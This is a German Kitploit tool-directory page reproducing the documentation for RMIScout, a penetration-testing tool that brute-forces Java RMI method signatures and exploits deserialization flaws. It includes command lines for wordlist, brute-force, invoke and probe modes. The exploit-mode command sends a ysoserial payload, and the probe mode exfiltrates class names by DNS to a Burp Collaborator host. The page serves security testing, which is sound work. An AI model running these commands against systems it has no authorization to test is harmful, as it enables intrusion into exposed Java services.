Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
rmiscout — RMIScout verwendet Wortlisten- und Brute-Force-Strategien, um Java-RMI-Funktionen aufzulisten und Schwachstellen im RMI-Parameter-Unmarshalling auszunutzen | Kitploit
Tools/GitHubGitHub/bishopfox/rmiscout
SchwachstellenscannerExploitationInformationsbeschaffungFuzzingPenetrationstests
GitHubbishopfox/rmiscout

rmiscout

RMIScout verwendet Wortlisten- und Brute-Force-Strategien, um Java-RMI-Funktionen aufzulisten und Schwachstellen im RMI-Parameter-Unmarshalling auszunutzen

Repository anzeigen
4486257vor 5 JahrenVon Kitploit geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

License Python version

Beschreibung

RMIScout ermöglicht Wortlisten- und Brute-Force-Angriffe auf exponierte Java-RMI-Schnittstellen, um Methodensignaturen sicher zu erraten, ohne sie aufzurufen. Es unterstützt mehrere Java-RMI-Protokolle, Methodenaufrufe und Exploitation.

Funktionsübersicht

  • Unterstützt mehrere Arten von Java-RMI-Servern:
    • RMI-JRMP (auch einfaches RMI; normalerweise Port 1099): Remote-Objektregistrierungsdienst (rmiregistry)
    • RMI Activation Stubs per rmid
    • RMI-IIOP: Java CORBA-Programmiermodell (orbd; normalerweise Port 1050)
      • IIOP erfordert JRE 1.8 zur Nutzung. Aufgrund der Einstellung in späteren Laufzeitumgebungen.
    • RMI-SSL
  • Mehrere Betriebsmodi
    • Wortlisten-Modus: Testen auf entfernte Methoden mit einer Wortliste von Signaturen (siehe enthaltene lists/prototypes.txt)
    • Brute-Force-Modus: Erzeugt aus einer Wortliste von Methodennamen Signaturen mit verschiedenen Parametertypen, Anzahl der Parameter und Rückgabetypen.
    • Exploit-Modus: Verwendet ysoserial, um entfernte Methoden mit nicht-primitiven Parametern auszunutzen.
      • Erfordert, dass rmiscout mit JRE 1.8 ausgeführt wird, damit ysoserial ordnungsgemäß funktioniert.
    • Probe-Modus: Verwendet GadgetProbe zur Identifizierung von Klassen im entfernten Klassenpfad
    • Aufruf-Modus: Direktes Aufrufen entfernter Methoden durch Angabe einer Methodensignatur und Parameterwerte von der Befehlszeile (nur primitive Typen, Arrays und Zeichenketten).
    • Listen-Modus: Verfügbare Registries auf dem entfernten Server auflisten.
  • Wechselt automatisch zwischen RMI, RMI-SSL und Activation-Stubs.
  • Führt automatisch Localhost-Bypass-Techniken durch (z. B. Registries, die an @127.0.0.1:XXXX gebunden sind, aber dennoch extern über XXXX verfügbar sind)

Wie es funktioniert

Um RMI-Funktionen zu identifizieren, aber nicht auszuführen, verwendet RMIScout Low-Level-RMI-Netzwerkfunktionen und dynamische Klassengenerierung, um RMI-Aufrufe mit absichtlich nicht übereinstimmenden Typen zu senden und entfernte Ausnahmen auszulösen. Alle Parameter werden durch eine dynamisch generierte serialisierbare Klasse mit einem 255 Zeichen langen Namen ersetzt, von der angenommen wird, dass sie im entfernten Klassenpfad nicht existiert. Zum Beispiel:

Entfernte Schnittstelle:

void login(String user, String password)

RMIScout wird aufrufen:

login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())

Wenn die Klasse vorhanden ist, führt dies zu einer entfernten java.rmi.UnmarshalException, verursacht durch die ClassNotFoundException oder einen Argument-Entmarshalling-Fehler, ohne die zugrundeliegende Methode aufzurufen.

Für detailliertere technische Ausführungen:

  • (Original-Bericht) RMIScout: Sicher und schnell Java RMI-Schnittstellen für Codeausführung per Brute-Force angreifen.
  • (RMIScout-Update) Erfahrungen beim Brute-Forcing von RMI-IIOP mit RMIScout

Betriebsmodi

Wortlisten-Modus

./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Geben Sie eine Wortliste mit Methodenprototypen an, die auf dem entfernten Server überprüft werden sollen. RMIScout gibt alle gefundenen Übereinstimmungen aus.

Für RMI-IIOP/CORBA: Sofern Methoden nicht überladen sind, erfordern Brute-Forcing und Aufruf nur übereinstimmende Namen (alle anderen Informationen werden ignoriert).

Brute-Force-Modus

./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

Geben Sie eine Wortliste mit Kandidaten-Methodennamen an, gefolgt von einer kommagetrennten Liste möglicher Rückgabetypen, eines Zahlenbereichs für die Parameteranzahl und möglicher Parametertypen. Der Brute-Force-Modus erzeugt die Permutationen und sucht nach übereinstimmenden Signaturen.

Exploit-Modus

./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

Bei falsch konfigurierten Servern kann jede bekannte RMI-Signatur, die nicht-primitive Typen verwendet (z. B. java.util.List), ausgenutzt werden, indem das Objekt durch eine serialisierte Nutzlast ersetzt wird. Dies ist eine ziemlich häufige Fehlkonfiguration (z. B. VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server und Gemfire, Apache Karaf + Cassandra), wie in An Trinhs 2019 Blackhat EU Vortrag hervorgehoben.

RMIScout integriert ysoserial, um Deserialisierungsangriffe gegen Dienste durchzuführen, die prozessweite Serialisierungsfilter falsch konfigurieren (JEP 290).

Beispiele für ausnutzbare Signaturen:

void exampleMethod(java.util.Map a) // Any non-primitive types
void exampleMethod(float[] a) // Any type of array, even primitives
void exampleMethod(String a) // Works on older JDKs, see below...

Hinweis: Signaturen, die java.lang.String-Typen enthalten, sind in RMI-JRMP nur in JRE 8/11/13/14 Versionen vor Anfang 2020 ausnutzbar, in RMI-IIOP jedoch weiterhin ausnutzbar.

Aufruf-Modus

./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>

RMIScout ermöglicht es Ihnen, beliebige Signaturen mit primitiven Typen, primitiven Arrays oder Zeichenketten aufzurufen. Komplexere Typen erfordern das Schreiben eines benutzerdefinierten Clients.

Probe-Modus

./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

RMIScout integriert GadgetProbe zur Identifizierung von Klassen im entfernten Klassenpfad. Klassennamen werden über DNS exfiltriert.

Bauen und Ausführen

Verwenden Sie das enthaltene Skript rmiscout.sh, um das Projekt automatisch zu bauen und als praktischen Wrapper um die java -jar-Syntax:

./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Alternativ kann das Projekt manuell gebaut und die traditionelle java -jar-Syntax verwendet werden:

# Manuell JAR bauen
./gradlew shadowJar

java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Tool herunterladen